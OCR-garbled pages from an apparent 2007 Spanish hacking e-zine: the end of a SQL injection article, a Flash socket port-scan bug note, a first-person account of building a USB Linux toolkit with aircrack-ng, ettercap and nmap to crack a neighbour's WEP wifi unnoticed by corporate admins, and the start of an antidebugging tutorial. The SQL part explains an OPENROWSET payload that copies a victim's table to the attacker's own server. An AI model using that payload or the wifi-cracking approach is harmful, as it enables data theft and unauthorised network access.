una alegria cuando parti-
cipd con sus articulos en

astm paglrms.

“Tacticas de guerra en al

Siempre lo he tﬂmdﬂ co=-
mo una persona cabal, asi

-~ www.rs-labs.com. Dentro
- muy paqmﬁn! =P

 ATENCION: Si m'aalsrqua Huash'a weh
(blen sea independiente o de un grupo)

ciones”, donde no os ex-
trafiéis encontrar articulos

rroba, la verdad es que fue

mu‘fEDEIIfIH sSQL

- OPENROWSET: Conecta con otra
BD cuyos parametros se indican dentro.
- SQLOLEDB: Establece el tipo de
conexion de BD a realizar. Mas adelante

veremos también el MSDASOL.

- UID=sqluser: Nombre del usuario
en el servidor de nuestra casa (es una
cuenta que solo sirve en el SOL, no sirve
para iniciar una sesion de Windows).

- PWD=clave123: La clave del usua-
rio en nuestro SOIL.

- ADDRESS=sql4ever.no-ip.org: La
direccion de nuestro servidor SQL. Lo
mejor es poner la IF, pero nos delataria
mas.

- SELECT * FROM export: Tabla en
la que se guardardn los datos en nuestro
servidor SOL.

- SELECT * FROM foo: Tabla desde la
que se sacaran los datos en el servidor
SOL remoto.

Si todo ha ido bien, ya sabéis como
ver el contenido de la tabla v recoger los
frutos de vuestro ingenio ;-)

Andrés Meéendez Barco
Manuel Baleriola Moguel

En la proxima enfrega:
Inyeccion de cadigpo SQL Xl

En la seccion “Exploits & Tools” po-
dréis disfrutar de sus desarrollos. La

_ gran mayoria del contenido de la web

es 100% suyo, asi que no os encon-
traréis los manidos documentos que

~ hay en todas partes repetidos. Versis

cosas que ya tienen sus afios, pero
que no por ello dejan de ser interesan-

tes, ya sabéis que de todo se aprende
¥ los antiguos exploits os pueden ayu-

dar a ver las cosas con otros ojos o

-aprender tdcticas que no dejaran de

estar obsoletas mientras los hombres

‘sigan escribiendo cddigo.

 Bueno, os dejamos que deis una
vuelta tranquilamente por su web. 3EI
unico defecto? jEl 'tanuﬁu dn letra es

es lo suficientemente buena como para

‘aparecer en esta seccion, o tensis du-

das sobre nuestros articulos, no dudéis

‘en poneros en contacto con nosotros
a travéa de la direm:lﬁn u:m'sudalmkﬂ_. 5
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Bugy Bugy

El mes pasado vimos como la rebelion de las maguinas seguia
de actualidad y como nos afectaba o afectaria cada dias mas,
terminando el mes con algunas cosillas sobre Mozilla.

Este mes veremos menos cosas pero no por ello menos infe-
resantes. Sobre todo porque lo que vamos a ver es un bug que
afecta a una tecnologia que ahora mismo golpea fuerte en la
web: Flash. Pero, como siempre, tendréis que seguir leyendo
para saber mas de esta apasionante intriga porque hasta agui
podemos leer.
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Flash

Seguro que todos vosotros habéis escuchado hablar de algo
llamado Flash aplicado a la web. Aunque sdlo sea porgue al-
guna vez hayais visitado una web que os ha puesto un mensa-
je parecido a “necesita el reproductor Flash version X" (donde
X podéis sustituirla por lo que guerdis). Para los nedfitos, uno
puede distinguir una web desarrollada en flash de otra que no
lo estd porque, en la primera, veréis que los elementos estan
todos animados con una calidad muy, muy superior a lo que
seria un gif animado y, ademas, de forma gue seria imposible
con un simple gif. Quizas haya algin experto entre nosotros en
Flash y esté poniendo el grito en el cielo por esta comparacion
pero tenéis que estar de acuerdo en que, si alguien no sabe lo
que es, no es un mal ejemplo.

Cuando se hace algo en Flash, que puede ser desde una web
entera a un simple banner, se necesita que el visitante de la
web tenga instalado el reproductor de Flash en su equipo por-
fue eso no s Una cosa que venga de serie con el Explorer, por
ejemplo. Asi que eso acotaria todas las posibles victimas pero,
por si no lo sabéis, se podria decir que la inmensa mayoria tie-
ne algin reproductor de Flash instalado por lo que lo de acotar
es siempre relativo.

Sar o no ser

La segunda parte interesante seria saber qué es lo que falla
aqui o la razon de salir en esta seccion porque, si lo usa tanta
gente, en principio no deberia ser malo pero, jqué pasa enton-
ces? Bien, pues en Flash existe algo llamado ActionScript que
es el lenguaje de programacion que se utiliza para programar
las cosas en Flash y que posibilita que se logren efectos in-

creibles o realizar de forma animada para el usuario compli-
cadas operaciones.

Y precisamente aqui es donde esta el meollo de la cuestion,
debido a un error en el diseno de ActionScript 3 en el manejo
de sockets, las peliculas compiladas en Flash (las animacio-
nes se exportan en lo que se llama "pelicula” y se almacenan
en un fichero .swf) pueden ser capaces de escanear puertos
TCP abiertos en las magquinas que estén al alcance de aguella
gue esté reproduciendo el fichero swf (la pelicula).

Esto no deberia ser posible puesto que para eso existe lo
que se conoce como “caja de seguridad” o, en inglés, “sand-
box" y gue sirve para aislar la pelicula del ordenador donde se
ejecuta.

Dandole al tema algunas pinceladas técnicas por si hay
entre nosotros algun experto en “bricolaje tecnoldgico® ;-),
el problema estd en que en ActionScript 3 se ha introducido
un nuevo evento orientado a socket llamado “SecurityErrorE-
vent". Dicho evento se lanza siempre cuando un reproductor
Flash intenta conectarse a un socket al gue no le esta permiti-
do conectarse por la politica de seguridad.

Como en botica
En cuanto a las plataformas afectadas, pues un montdn y para
todos los colores. Desde Windows XP 5P2 a Mac pasando por
Ubuntu y desde Internet Explorer 6 a Safari pasando por Fire-
fox. Para que nadie pueda reirse del vecino ;-). Eso si, donde
parece gue no funciona como debiera es en un Mac con Opera.
Para ir terminando, 1as limitaciones del bug, porque no todo
iba ser tan de color de rosa. Para empezar, el escaner no fun-
ciona sobre aquellos servicios que cierran inmediatamente la
conexion después de recibir bytes gue ellos no entienden. Asi
como tampoco funciona cuando se escanean magquinas locali-
zadas en Internet.

En fin, como veis, los bugs no paran, siempre estan ahi entre
nosotros aunque aparentemente no los veamos. Seguro que en
la proxima web que veais que usa Flash os acordais de noso-
tros :P
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Me miraba con impaciencia mientras con su mano izquierda golpeaba moscas que solo

¢l podia ver. Estaba realmente nervioso. “Mira, no me vengas con la historia que no re-
presenta trabajo extra. Ya se que mi departamento tiene que formatear los discos antes

de entregarlos al proveedor. Esto no es excusa. El caso es que de nuevo me enfregas una
maquina que no solo has configurado de nuevo, saltindote todas las recomendaciones de
la empresa, sino que encima has particionado el disco en dos para instalar Dios sabe que
sistema operativo extravagante”,

Apenas podia contener la risa y hacia
esfuerzos sobrehumanos para contenerla
mientras respondia. “;Vamos hombre! No
es para tanto, ademas no se trata de nada
extravagante, solo de una distribucidn
LBUNTU para hacer algunas pruebas”
Mi interlocutor se ponia rojo por momen-
tos “;Pruebas? Pues hazlas en tu casa con
lo que te compres v a mi no me compli-
ques la vida, ya estoy harto de encontrar-
Me CON CO5as raras en tus maquinas, en
teoria deberia dar parte de lo que hemos
encontrado y solo pensar en el papeleo
me da dolor de cabeza". Tampoco era el
caso de poner en ridiculo al jefe del ser-
vicio encargado de la substitucidn de las
maquinas a medida que su leasing cadu-
caba, pero el caso es que probablemente
lo que mas le molestaba es que no hahia
podido encontrar las password root de
mi magquina y no tenia ni idea de como
arrancar desde un “live CD" y por tanto
se habia quedado con las ganas de fisgar
en la maquina que le habia entregado.
Nada molesta mas a un administrador
de alto nivel que el encontrarse con algo
que no puede abrir ni controlar,

La conversacion que aqui reprodu-
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SUMINISTRAN A SUS
ESCLAVOS/TRABAJADORES
LAPTOPS PARA QUE
PUEDAN TRABAJAR FUERA
DE LAS OFICINAS Y ESTOS
CONSIDERAN A ESTAS
MAQUINAS CAS! DE SU
PROPIEDAD Y EMPIEZAN A
INSTALAR TODO TIPO DE
SOFTWARE AL LIMITE DE LA
LEGALIDAD

cimos se mantuvo hace unos meses en
el despacho de una gran corporacion.
Todas tienen el mismo tipo de proble-

mas. Suministran a sus esclavos/trabaja-

dores laptops para que puedan trabajar
fuera de las oficinas y aumentar su
productividad. Estos consideran a estas
madquinas casi de su propiedad debido
al tiempo que pasan juntos, sobretodo
si viajan mucho, v empiezan a instalar
todo tipo de juegos o software al limite
de la legalidad. Esto provoca a menudo
problemas de inestabilidad cuando no

infecciones manifiestas que obligan a los
departamentos de asistencia al usuario

a realizar intervenciones que consumen
tiempo y recursos extras. Para evitar
esto, normalmente el esclavoitrabajador
s& conecta como usuario con privilegios
restringidos, pero muchos consiguen ob-
tener roles de administrador, mediante
ingenieria social o explotando fallos de
software. Los que en vez de ser adictos a
los juegos, gustan de explorar los limites
de sus maquinas sienten la necesidad de
probar cosas prohibidas con sus sistemas
ariginales que son normalmente de la
tamilia Windows. Si no se puede poner
en modo promiscuo su tarjeta a través
de los drivers de Windows, seguro que
se puede hacer desde linux. Cientos

de razones para cambiar totalmente la
maguina que celosamente le han entre-
gado.

UN RETO

Cuando sali del maldito despacho, me
prometi que no volveria a instalar na-
da gque me comprometiera, pero mis
buenos deseos duraron lo que duran




los compromisos que hacemos cada
Ano Nuevo. En mi caso tuve una buena
excusa, aunque probablemente todos
tienen “sus buenas” razones. El caso es
que me encontré con una serie de viajes
a realizar hacia el mismo destino duran-
te una buena temporada. El proveedor
de internet que normalmente utilizaba
en mi apartamento base me habia de-
jado en la estacada sin posibilidades
de reclamacion va que en realidad no
era un proveedor normal sino una red
compartida con un amigo que habia
salido por piernas sin acordarse de mi.
El caso es que cuando volvia a casa me
encontraba sin conexion de red y sin
tiempo para contratar algo dentro de |a
ley. No estaba dispuesto a vivir sin algo
que formaba parte de mi entorno normal
desde hacia anos asi que mire que red
wifi habfa a mi alcance. La mas potente
estaba cifrada solo con WEP y por tanto
no era muy dificil de crackear y utilizar,
pero el problema era que,... me habia
prometido no instalar nada gue sonara a
hacker en mi windows 2000 y no queria
volver a provocar las iras de los adminis-
tradores con particiones extravagantes.
Hacer todo esto es imposible pero
siempre hay algo que se le acerque,
en este caso mi decisidn personal fue
instalar un VMware, que siempre puede
pasar por algo raro pero no imprudente,
crear una maquina virtual sabor linux,
en esta maquina instalar una distribu-
cion UBUNTU y con esta crear una
distribucion linux a medida que pudiera
arrancar desde un puerto USB y tuviera
todas las herramientas que me permi-

tieran encontrar la paswnr::l de la red

wiii que me interesaba. Una vez con la
distribucion en el bolsillo, podia desins-
talar todo la parafernalia del VMware y
borrar las huellas de mis andanzas. Un
pequerio reto que me dio mas dolores
de cabeza de los que habia previsto.

VMWARE SERVER 1.0.3 ES
UN SOFTWARE LIBRE PERO
REQUIERE REGISTRARSE Y
ENTONCES SE RECIBE UNA
CLAVE QUE PERMITE LA
INSTALACION COMPLETA

INSTALANDO VMWARE

Tenia diversas posibilidades y me de-
cidi por el VMware Server 1.0.3. Es un
software libre pero requiere registrarse v
entonces se recibe una clave que permi-
te la instalacion completa. Insistimos, no
es GNLU, de hecho hay mas de diez pa-
tentes que lo protegen y no dispones del
codigo fuente pero no cuesta un duro.
Para obtenerlo hay que dirigirse a www.
vmware.com/download/ v buscar el
punto adecuado. El “installer” pesa mas
de 140 MB y hay que tener paciencia

y una buena conexion para poderselo
bajar. Después solo hay que seguir las
instrucciones,... jde veras?

El primer problema con el que me
tropecé fue un esotérico mensaje avi-
sandome que en mi magquina no corria
el servidor de no se que y que por tanto

la aplicacidn no podia ser administra-
do a través de no se sabe que historia.
Humm,... el clasico error en cualquier
instalacion consiste en no leer ni una
linea de la documentacion. Esta actitud
lleva a veces a graves errores y proble-
mas en el host. En mi descargo hay que
decir que la documentacian sobre la
instalacion es bastante escasa. De hecho
dificil de encontrar. Se puede uno bajar
un tomo de 286 paginas describiendo
el funcionamiento del server, pero es
bastante escasa la informacidn acerca
de como instalarlo. En todo caso uno
tiene siempre que elegir entre diversas
opciones v sobretodo ser consciente de
sus responsabilidades. Coma en todo ca-
so el mensaje decia que posteriormente
se podia finalizar con lo que se estaba
haciendo a medias, decidi que lo mejor
era continuar,

El siguiente mensaje avisaba que se
iba a deshabilitar la opcidn de arran-
que automatico de los dispositivos de
CD porque eso podia hacer inestables
las maquinas virtuales. Como de todas
formas, es de sentido comdn evitar que
se pongan en marcha cosas sin que es-
temos informado de ellos, decidi hacer
caso a tan sabio consejo y continué
con la instalacidn, que a partir de este
momento se desarrollo sin demasiados
sohresaltos.

Tal vez os habréis preguntado porque
me decidi por la creacidn de una distri-
bucidn a medida en lugar de utilizar el
UBUNTU directamente. La respuesta no
solo viene por el interés en dejar el mi-
nimo de trazas sobre el laptop sino por
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la esencia misma de una maquina vir-
tual. Cuando nuestro flamante UBLUNTLU
esta en plena ejecucion esta sumamente
contento de su entorno, todo cuadra,
todo funciona, pero... nada es real. Esta
viendo solo o que VMware le permite
ver, de hecho ni siquiera es capaz de de-
tectar el disco duro sobre el que corre.
No ve mas alld del disco virtual creado
para él. Como humanos en MATRIX, no
es capaz de interactuar directamente so-
bre la tarjeta de red para ponerla en mo-
do promiscuo y sin embargo es capaz de
conectarse a internet va que VMware le
hace creer que es duefio y sefior de su
entorno. Tal vez a nosotros nos ocurra

lo mismo y la magnifica puesta de sol
que acabamos de ver, es solo un montdn
de bit bien ordenados que nos entra por
el puerto, nuestros ojos, que alguien se
ha dignado abrir. 5i ese alguien decide
otra cosa, no veremos nada y tal vez ni
siquiera se nos ocurra que “ver” tiene
algin sentido.

Me gustaria decir que todo fue como
una seda y que tras la instalacion me pu-
s& a trabajar automaticamente, pero no
se porqué nunca el mundo real cuadra
con mis experiencias personales. Es mi
costumbre, derivada de una vieja ex-
periencia con el windows 95, apagar y
rearrancar el Windows 2000 después de
una instalacidn importante. En este caso
mi impaciencia por probar el nuevo in-

quilino fue tal que rompi dicha tradicion
y probé la conexidn en modo local nada
vez finalizar la instalacidn, que dicho
sea de paso es bastante larga. Todo fue
bien y volvi a mi rutina, Ya sabéis. Parar
y arrancar. Una punta de inquietud me
asalto cuando windows me advirtio

que alguien habia estado jugando con

la configuracidn y que no era capaz

de arrancar el lector de CDs cuando le
viniera en gana. Le contesté que no se
metiera en asuntos que no le incumbian,
pero cuando arrangué el server VMware

NUESTRA CRIATURA TIENE LA
CAPACIDAD PARA SIMULAR
21 SISTEMAS OPERATIVOS,

DE ELLOS 4 50N WINDOWS, O

SEA QUE 50LO NOS QUEDAN

17 PARA JUGAR

se nego en redondo a conectarse. Decia
que el que habia un error 511 y que el
servicio vmware-serverd no estaba co-
rriendo,... ni siquiera andando.

No todo el mundo lo hace, pero yo
soy aficionado a dar la vara a los que
prometen cosas y después no cumplen.
Los chicos de VMware prometian que su
software habia sido intensivamente pro-

bado en la plataforma que yo utilizaba,
asi que intenté encontrar respuestas en
ellos. Tienen un servicio de asistencia vy
un buen foro, asi que empecé con las
preguntas, a pesar que una solucion de
emergencia la encontré yo solito. Si el
tal servicio no estaba en marcha una
simple biisqueda en el directorio donde
se habia instalado me indicé que habia
un ejecutable llamado vmserverdWin32.
exe Lanzar lo, esperar unos minutos y ya
tenia acceso al servicio. Horas mas tarde
me encontré can la solucidn oficial que
consistia con un esotérico script que
conseguia solucionar un complejo e in-
comprensible problema de privilegios en
el momento de arranque. Que cada cual
siga el método que le parezca.

LINUX VIRTUAL (sabor
UBUNTU)

Después de la instalacion del servidor
Viware el trabajo no ha hecho mas
que empezar, lo Gnico que tenemos es
un cascaron vacio en grado de simular
un montdn de sistemas operativos, pero
actualmente esta totalmente vacio y que
devuelve solo eco cuando lanzamos una
llamada. Resumiendo hay que configu-
rar una maquina virtual. Si nos leemos
la documentacion nos podremos enterar
que nuestra criatura tiene la capacidad
para simular 21 sistemas operativos, de




ellos 4 son Windows, o sea que solo nos
quedan 17 para jugar, después hay 2
FreeB5D, 1 Solaris y 12 Linux de 64 bits.
Cuando casi habia perdido la esperanza
cuando me encuentro con que también
es posible simular un UBUNTU 5.1 y
otro 6.0 eso si, experimental. Ante todo
este juego de cifras apabullante me que-
dé con lo mas seguro, El UBUNTU 5.1
Durante la configuracion hay que
tomar una decisidn importante. Ninguna
distribucién que corra dentro de una
maquina virtual nos servird de mucho si
lo que queremas es jugar con el hard-
ware, pero Coma vamos a necesitar la
conexidn a internet dentro de la maqui-
na virtual, debemos ser atentos como
configuramos la forma en que esta in-
formacidn va a fluir entre el dispositivo
fisico que tenemos conectado a la red y
nuestra distribucion UBUNTU. VMware
nos ofrece tres posibilidades, “Bridget
Metworking”, “Network Addres Trasla-
tion, (NAT)" y “Host-Only Networking”
“Bridget Networking” Es la forma
mas flexible si lo que queremos es par-
ticipar de pleno derecho en una red
ethernet, pero tiene algunos inconve-
nientes, sobre todo en mi caso parti-
cular. No funciona si la red es wireless
v la maguina virtual es linux y esto en
mi caso era ya prohibitivo, pero es que
ademas desde el momento que actuare-
mos de forma plena, tenemos que tener
asignada una direccion IP que pueda
funcionar dentro de la red y esto signifi-
ca que nuestra maquina esté registrada y
sea aceptada. Seremos aceptados como
iguales y como una maquina fisica con
entidad propia. El administrador de la
red nos reconocerd con todos los dere-
chos y seremos visibles para cualquier
actualizacion y contacto. Puede que os
interese para vuestros fines pero en mi
caso no era lo que deseaba aunque sea
la opcidn por defecto que Vmware te
ofrece. Mo, no era eso lo que queria.
“MNetwork Addres Traslation (MAT)Y

En esta configuracion, el ordenador que
nos aloja crea una red privada y noso-
tros nos comunicamos a través de un
firewall que nos da una serie de servi-
cios, limitados, pero suficientes para mi.
Navegacion web, itp, telnet me permitira
actualizarme a través apt-get. No podré
instalarme un servidor web ni publicar
una pagina web, pero es que no tenia la
menor intencion de hacerlo.

Finalmente “Host-Only MNetworking”
Esto lo podriamos definir como el no
va mas de |la endogamia. Mediante esta
configuracidn se crea una red dentro de
la maquina virtual sin salida hacia el ex-
terior. Fara que puede servir estof Pues
para hacer pruebas entre un linux v un
windows que solo funcionen en nuestra
maguina virtual o en nuestra mente.
Puede que nosotros estemos dentro de

POR ALGUNA RAZON LA
CONFIGURACION STANDARD
DE LA MAQUINA VIRTUAL NO
PREVEE LOS PUERTOS USB,

HAY QUE INSTALARLO A MANO

una red virtual y cada una de nosotros
no sea mas que un sistema operativo
dentro de una MATRIX gigantesca. Pue-
de que no seamos nada ni estemos en
parte alguna, pero yo querfa instalar una
maquina linux dentro de mi VMware

y la mejor opcian en este caso era un
NAT. Y eso elepi.

Otro punto importante es la deteccion
de los puertos USB. Por alguna razén la
configuracion standard de la maquina
virtual no prevee los puertos USB, hay
que instalarlo a mano, no es dificil pero
hay que hacerlo sino no hay forma de co-
piar la distribucidn que vamos a crear o
mejor dicho iba a ser un poco mas com-
plicado. En fin, tuve que editar la confi-

guracion de UBUNTU *Virtual Machine
Settings” v desde ahi pulsar en “Add” v
dejarse llevar por el wizard. Me encontré
con algunos problemas que trataremos
mas adelante, pero nada que no se pu-
diera negociar con la maquina.

UBUNTU VIRTUAL

Que quede claro que lo dnico que tenia
hasta este momento era un servidor y
una maquina virtual totalmente vacia.
Tenia que rellenarla con algo v ese algo
es una distribucién UBUNTU. Instalar
una distribucion UBUNTU sobre una
maquina virtual UBUNTU puede que se
pueda hacer de formas distintas, pero yo
solo conocia una, que consistia en, ba-
jarse una iso de www.ubuntu.org, crear
un live-CD a partir de ducha iso, arran-
carlo desde la maquina virtual y pedir
que nos lo instale. No parece dificil,
pero hay que seguir ciertos pasos de una
forma légica. No creo que haga falta
que os explique como me bajé la iso, ni
como creé el live-CD, pero el arrancar
desde una maquina que no tiene nada,
ni siquiera existencia real, requiere cua-
tro palabras.

Lo primera es insertar el CD con la
maquina virtual sin arrancar y ahora es
cuando me di cuenta porque Viiware
recomienda encarecidamente que se
deshabilite el arranque automatico en
Windows. 5i no lo haces, este pretende
tomar el control ¥ no da tiempo a arran-
car la maquina virtual. 51 seguimos sus
sabios consejos, cuando arrancamos la
madquina virtual ésta al detectar que no
existe nada sobre el disco duro virtual,
arranca desde el CD y por tanto nos en-
contraremos con un lentisimo UBUNTLU
en nuestras manos. Y digo lentisimo por-
que toda la informacidn tiene que pasar
sobre un servidor y una maquina virtual
v todo ello sobre una maquina real que
a toda potencia se las ve y se las desea
para dar la talla. Hay que instalar la dis-
tribucian sobre nuestra maquina virtual

vbuntu
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y de todas formas armarse de paciencia
de Job. No es rapidez lo que vamos a
obtener ya que lo que buscaba era segu-
ridad y discrecidn y hay cosas que no se
pueden obtener al mismo tiempo.
Fasada una media hora larga me
encontré finalmente con el mensaje ad-
virtiéndome que podia desconectar la
maquina y que me asegurara que el CD
estaba fuera de la bahia en el momento
del arranque so pena de sufrir de nuevo
las agonias de un arranque desde un
CD a través de una maquina virtual. En
cuanto me encontré con mi flamante
UBUNTU real en una maquina virtual mi
primera preocupacion fue hacerle adel-
gazar. No me olvidaba que todo el con-
junto no era mas que un archivo en mi
disco duro ya un poco sobrecargado al
cual le habia dado tan solo un espacio de
2 gigas. No era mucho para tanta historia
y obviamente demasiado si lo que queria
era un distribucion con cuatro cosas que
me permitieran husmear en las redes wifi.
Si gueremos quitar peso lo mas sensato
es eliminar todo el paquete de ofimatica.
Este viene por defecto y como no co-
nozco a ningun hacker, de verdad, que
necesite hacer presentaciones en pseu-
dopowerpoint, lo mas sensato es eliminar
toda esta parafernalia y editar con cual-
quier editor de bajo nivel si necesitamos
cambiar algin tipo de archivo de texto.
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Si queremos eliminar algo de un li-
nux, hoy en dia hay que tener cuidado,
hay enorme cantidad de conexiones
y dependencias que pueden provocar
enormes quebraderos de cabeza si lo
hacemos sin ton ni son, UBUNTU es
una distribucidn basada en DEBIAN y
por tanto es posible utilizar el comando
apt-get, si miramos los mensajes en lu-
gar de aceptar a ciegas todavia estamos
a tiempo de pararnos antes de cometer
errores de bulto. Linux nos considera
adultos y una vez nos solicita la palabra
de paso del usuario root confia en que
disponemos de los conocimientos ade-
cuados y obedece a ciegas. Como tantas
veces en la vida linux confunde “poder”
con “conocimientos” y mas de una vez

he visto desastres de lo mas irreversibles.

En mi caso estaba “jugando” con una
magquina virtual que puede desaparecer
en cualquier momento, este ha sido uno
de las razones para crear estos software.
Probamos, hacemos cambios y si el
resultado es una maquina inutilizable
con volverla crear estamos al cabo de la
calle. De todas formas toda la operacidn
es bastante lenta y lo mejor es utilizar
una herramienta que viene standard en
la distribucién, se llama “Synaptic Pac-
kage Manager” y te da ciertas sorpresas,
como por ejemplo te avisa que si elimi-
nas totalmente los juegos, gque no me

S| QUEREMOS ELIMINAR
ALGO DE UN LINUX, HOY

EN DIiA HAY QUE TENER
CUIDADO, HAY ENORME
CANTIDAD DE CONEXIONES

Y DEPENDENCIAS QUE
PUEDEN PROVOCAR ENORMES
QUEBRADEROS DE CABEZA

servian para nada, podia encontrarme
con prﬂElemas debido a un juego de
oscuras dependencias. Fuera cierto o no,
me abstuve de hacer borrados indiscri-
minados.

Y bien. Una vez con mi UBUNTU
convenientemente adelgazado era el
momento de atacar el siguiente paso.
No lo olvidemos, todo esto era para
crearme una distribucidn a medida que
arrancara sobre un dispositivo USB sin
que dejara trazas sobre el Windows
2000 perteneciente a la empresa para la
cual trabajaba.

UNA DISTRIBUCION
A MEDIDA

Hay muchos documentos disponibles
en la red explicando como se puede
crear una distribucion, pero como dice
un amigo mio, “a mi no me hacen falta




muchos documentos, con uno me basta”
y &l problema es siempre encontrar el
mas adaptado a nuestras necesidades. Yo
queria hacer las cosas lo mas sencillas
posibles y en estos casos lo mejor es
buscar si alguien ya ha seguido el mis-
mo camino que tu. Es una manera poeé-
tica de justificar la vagancia propia y de
la utilizacion del esfuerzo ajeno. Como
decia un documento medieval “Somos
enanos a hombros de gigantes”. El caso
es que después de buscar un par de dias,
;o fueron horas?, en la red me encontré
con un “listo para utilizar”, con un tni-
co problema y es que se requeria la co-
nexion “on line” para la instalacion, de
todas formas como yo ya habia probado
la conexidn via NAT, el caso no ofrecia
mayores problemas. Escribo todo esto

en base a notas personales y perdido en
una situacion que me impide comprobar
toda la informacion asi que tendréis que
perdonar lagunas y falta de pequefios
detalles.

El documento donde se encuentran
las instrucciones que segui se pueden
encontrar, espero, en www.pendriveli-
nux.com bajo el titulo de “Create Your
Own Live Linux CD or USB distribution”
y es obra de un tal Daniel Baumann Esta
basado en una serie de scripts que ha-
cen de forma automitica el proceso de
configuracion y compilacién. La primera
operacion es instalarse los scripts que
se encuentran bajo las contribuciones
no oficiales a DEBIAN, para instalarse el
paquete y dado que vamos a hacerlo via
apt-get hay que modificar el archivo de
linux donde se encuentran las direccio-
nes de internet donde se encuentran los
archivos. Para ello hay que modificar el
fichero /etc/apt/sources.list y anadir una
linea con “deb http:/live.debian.net/de-
bian/ etch main"Os recuerdo que no lo
conseguiréis hacer sino estdis inperso-
nados como root. Después no hay nada
como un buen “apt-get update”.

Imagino que con animo de poder
comprobar que nadie ha tocado los
scripts en beneficio propio, Daniel ha
previsto la comprobacion mediante fir-
ma GPG y por tanto aconseja hacer un
“apt-get install debian-unofficial-archive-
keyring”, sin embargo en mi caso salié
un onimoso mensaje de “GPG error not
available public key" No se si debido a
que desinstalé demasiadas cosas hacien-
do espacio o si la figuracién de Daniel
esta incompleta, el caso es que no hay
firmas GPG que valgan ni que no val-
gan. Lo cual no impide continuar con la
instalacion a riesgo de instalarse un back

door o cosa similar. Como in mi caso
iba a instalar algo efimero y virtual, no
habia mayor problema y lancé un defini-
tivo “apt-get install live-helper”.

El paso siguiente es la creacion de
los directorios de configuracion y los
que van a contener la distribucion. Aten-
cion a como se hacen las cosas porque
el script no esta a prueba de tontos y
si algo no se hace desde donde esta
previsto, las cosas terminan a mitad en
el mejor de los casos. En mi caso hay
que hacer un “su” para pasar como el
root e ir al directorio de este ,.."/root/ y
solo entonces teclear “lh_config”. Todo
transcurre rapidamente v poca cosa
sucede aparentemente, pero el hecho
es que se han creado una serie de archi-
vos a los cuales hay que hacer algunos
cambios, al “/rootfubuntu-live/con-
fig/chroot” hay que cambiarle la linea
que empieza por LIVE_INTERACTIVE y
ponerle un “="enabled™, después hay
que buscar el “/root/ubuntu-live/config/
binary/ y cambiar el “LIVE_BIBARY _
IMAGES="is0"" por un “LIVE_BIBA-
RY_IMAGES="ush-hdd"" de esta forma
en lugar de un archivo iso crearemos
otro img.

TODA ESTA HISTORIA
HA SIDO CONTADA EN
PRIMERA PERSONA,
PERO EVIDENTEMENTE,
S5U PROTAGONISTA NO
TIENE NADA QUE VER CON
NOSOTROS

La construccion de la distribucion se
basa en otro script que hay que lanzar
desde el directorio ubuntu-live, se trata
de “lh_build” Este creara un directorio
llamado chroot donde va a instalar los
hinarios. El procedimiento consiste en
una primera creacion de los componen-
tes “core” y después la instalacidn abre
un terminal que nos permite decir que
es lo que realmente deseamos utilizar y
esle caso pasamos de juegos y ofimiti-
cas. Yo estaba interesado en aircrack-ng
driftnet etherape ettercap gitp gpsdrive
hping2 hping3 iputils-tracepath kismet
ltrace mitr ndiff nessus nessusd nessus-
plugins netcat netcatb netwox nmap
nmapfe pOf paketto pbnj pnscan psad
scapy squashfs-source squashfs-tools
strace tcptraceroule traceproto trace-
route unionfs-source unionfs-tools wire-
shark xprobe xwhois y eso fue lo que

le dije que hiciera mediante un apt-get
install. Facil y limpio.

Me hubiera gustado instalar también
Ajuta, Bluefish y Amap, pero seguro
que después hubiera tenido problemas
de espacio, asi que me quedé sin ellas.
Por motivos diferentes no instalé el Me-
tasploit y Amap, apt-get no funciona en
este caso y no queda mas remedio que
descomprimir el software y compilarlas
de forma cldsica. Decididamente no te-
nia ganas de complicarme mas la vida.
Una vez terminados todos los inventos
que se me ocurrieron es suficiente con
teclear “exit"para permitir al script con-
tinuar con su trabajo.

Cuando este ha terminado lo dnico
que quedaba era copiar el archivo bina-
rv.img en el dispositivo USE que habia-
mos enchufado en el correspondiente
puerto libre, pero ahi me encontré con
un problema extra, saber donde habia
montado nuestro UBUNTU sobre una
macguina virtual no era cosa evidente,
aunque si ficil si te acuerdas del coman-
do apropiado. Después de alguna bs-
queda recordé que “fdisk -1” te dice este
tipo de cosas y finalmente con un “dd
if=binary.img of=/dev/sd/ copié todo lo
necesario en la llave USB.

Un poco me temblaban las manos
cuando arranqué mi laptop con la llave
USB insertada, son emociones fuertes
para la gente que gusta de estas cosas.
En mi caso comprobé con placer que no
tendria que volver a soportar chaparro-
nes de administradores furibundos.

FINAL DE LA HISTORIA

Toda esta historia ha sido contada en
primera persona, pero evidentemente,
su protagonista no tiene nada que ver
con nosotros. Este relato lo encontramos
en un pedazo de papel tirado descuida-
damente en una bonita papelera que se
encontraba en un rincon Jt:: una sala de
reuniones brillantemente iluminada y
amueblada con gusto. Nada sabemos de
su propietario ni de los motivos que le
llevaron a escribir estas lineas

2007 SET, Saqueadores Ediciones
Técnicas. Informacidan libre para gente
libre

www.sel-ezine.org
web@set-ezine.org




ANTIDEBUGGING

Buenas a todos los crackers e interesados en el arte y la ciencia de la ingenieria inversa. Hoy ve-
remos algunos trucos antidebugging, los mas utilizados por los protectores, crackmes y afines.
Espero que tengamos un poco de diversion. jAdelante!

i : H 27
gi‘t];: IS:E;:EET Elque es el antidebugging, se trata de técnicas que dificultan el el e BUOOINT SOEEE
andlisis paso por paso de ejecutables, libreria 5 etc. HACERSE, PARA EWT}%’E
Esto suele hacerse, para evitar el cracking de las aplicaciones protegidas, evitar el EL CRACKING DE LAS
andlisis en los virus, por parte de los antivirus, entre otras cosas. APLICACIONES PROTEGIDAS,
EVITAR EL ANALISIS EN LOS

Primer truco SEH (structured exception handling) VIRUS, POR PARTE DE LOS

Muchos se preguntardn que es el SEH... sin mds ni menos, se trata de las rutinas que ANTIVIRUS,
se encargan en Windows, de manejar los errares de sistera y de las aplicaciones, mds ENTRE OTRAS COSAS
que nada.
El famoso mensaje “la aplicacitn xoox ha realizado una operacién no vélida v se
cerrard” con los botones Cerrar y Enviar. Para enviar el error a microsoit. :)
Bien, este truco, permite evitar que sea abierta nuestra aplicacion con un debug-
ger. Evitar también que sea atacheado por el mismo.
Los debuggers afectados son Ollydbg y Windbg. El truco requiere permisos de ad-
ministrador, lo cudl para cualquier usuario normal de Windows, es obvio que utilizard
una cuenta administrador sin problemas.
Podemos chequear si una aplicacion estd siendo debugeada, o no, abriendo la
aplicacion de sistema CSRSS.EXE (client server runtime process).

l push <CSRSS_ PID> ; id del procesc CSRSS
push 0 i Inheritable = FALSE

push 0C3Ah i access flags=CREATE_THREHD|UM_DPERATIGHrvH_REABIUM_WRITE
i | QUERY INFORMATION|B0OQ

Bcallx OpenProcess
test eax,sax
